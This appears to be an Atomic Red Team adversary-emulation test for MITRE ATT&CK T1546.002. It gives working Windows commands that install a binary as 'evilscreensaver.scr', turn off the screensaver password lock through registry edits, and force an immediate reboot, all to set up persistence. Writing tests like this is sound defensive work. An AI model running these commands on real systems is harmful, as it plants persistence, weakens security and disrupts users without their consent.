attack_technique: T1546.002
display_name: 'Event Triggered Execution: Screensaver'
atomic_tests:
- name: Set Arbitrary Binary as Screensaver
  auto_generated_guid: 281201e7-de41-4dc9-b73d-f288938cbb64
  description: |
    This test copies a binary into the Windows System32 folder and sets it as the screensaver so it will execute for persistence. Requires a reboot and logon.
  supported_platforms:
  - windows
  input_arguments:
    input_binary:
      description: Executable binary to use in place of screensaver for persistence
      type: Path
      default: C:\Windows\System32\cmd.exe
  executor:
    command: |
      copy #{input_binary} "%SystemRoot%\System32\evilscreensaver.scr"
      reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f
      reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f
      reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f
      reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f
      shutdown /r /t 0
    name: command_prompt
    elevation_required: true
